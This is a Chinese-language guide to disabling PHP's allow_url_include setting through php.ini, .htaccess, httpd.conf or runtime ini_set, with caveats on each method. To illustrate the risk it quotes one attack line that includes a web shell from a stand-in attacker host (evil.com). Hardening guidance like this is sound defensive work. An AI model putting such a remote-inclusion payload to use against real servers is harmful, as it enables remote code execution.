怎么禁用PHP本地环境allowurlinclude_PHP本地环境禁allowurlinclude方法【禁用】

必须禁用 allow_url_include,因其开启时可通过 include() 加载远程 URL 导致 RCE;应修改 php.ini 设为 Off 并重启服务,或通过 .htaccess(Apache)临时禁用,运行时 ini_set 仅应急且不彻

底。

直接禁用 allow_url_include 是必须的,PHP 本地环境(如 XAMPP、WAMP、MAMP 或手动编译安装)默认可能开启它,而它会让 include()require() 加载远程 URL(如 http://ftp://),极易引发远程代码执行(RCE)——只要一个参数没过滤干净,攻击者就能 include('http://evil.com/shell.php')

确认当前 allow_url_include 是否开启

运行以下代码检查实际生效值:

注意:ini_get() 返回的是运行时值,受主配置、.htaccessphp.ini 多层影响,不能只看配置文件里写了什么。

修改 php.ini 禁用 allow_url_include

这是最根本、最可靠的禁用方式。找到你当前 PHP 实际加载的 php.ini 文件路径(用 phpinfo() 页面里的 “Loaded Configuration File” 行确认),编辑它:

  • 搜索 allow_url_include,将对应行改为 allow_url_include = Off(或 = 0
  • 确保该配置不在被分号 ; 注释掉的行上
  • 如果找不到这一行,直接在 [PHP] 段落末尾新增一行:allow_url_include = Off
  • 保存后重启 Web 服务器(Apache/Nginx)或 PHP-FPM 进程,否则不生效

通过 .htaccess 或 httpd.conf 临时覆盖(仅 Apache)

如果你无法修改 php.ini(如共享主机),且使用 Apache,可在项目根目录 .htaccess 中加:

php_flag allow_url_include off

或者在 httpd.conf 的虚拟主机配置中加:

php_admin_flag allow_url_include off

注意:php_admin_flag 优先级更高,但普通用户通常无权写 httpd.confphp_flag 在某些 Apache + PHP SAPI 组合下可能被禁用(如 PHP-FPM 模式下无效)。

运行时强制禁用(不推荐,仅应急)

在入口脚本(如 index.php)开头加:

但此方法有严重局限:

  • 仅对当前请求生效,无法阻止其他脚本(如被 include 进来的文件)在初始化阶段利用该选项
  • 若攻击者能控制 auto_prepend_file 或通过 php_value 提前注入,可能绕过
  • 性能开销微小但存在,且掩盖了配置层面的问题

真正安全的做法,是让 allow_url_include = Off 成为 PHP 启动时的硬性约束——配置文件改完、服务重启、再验证 ini_get() 返回 '0',才算落地。别信“我加了 ini_set 就安全了”,那只是假象。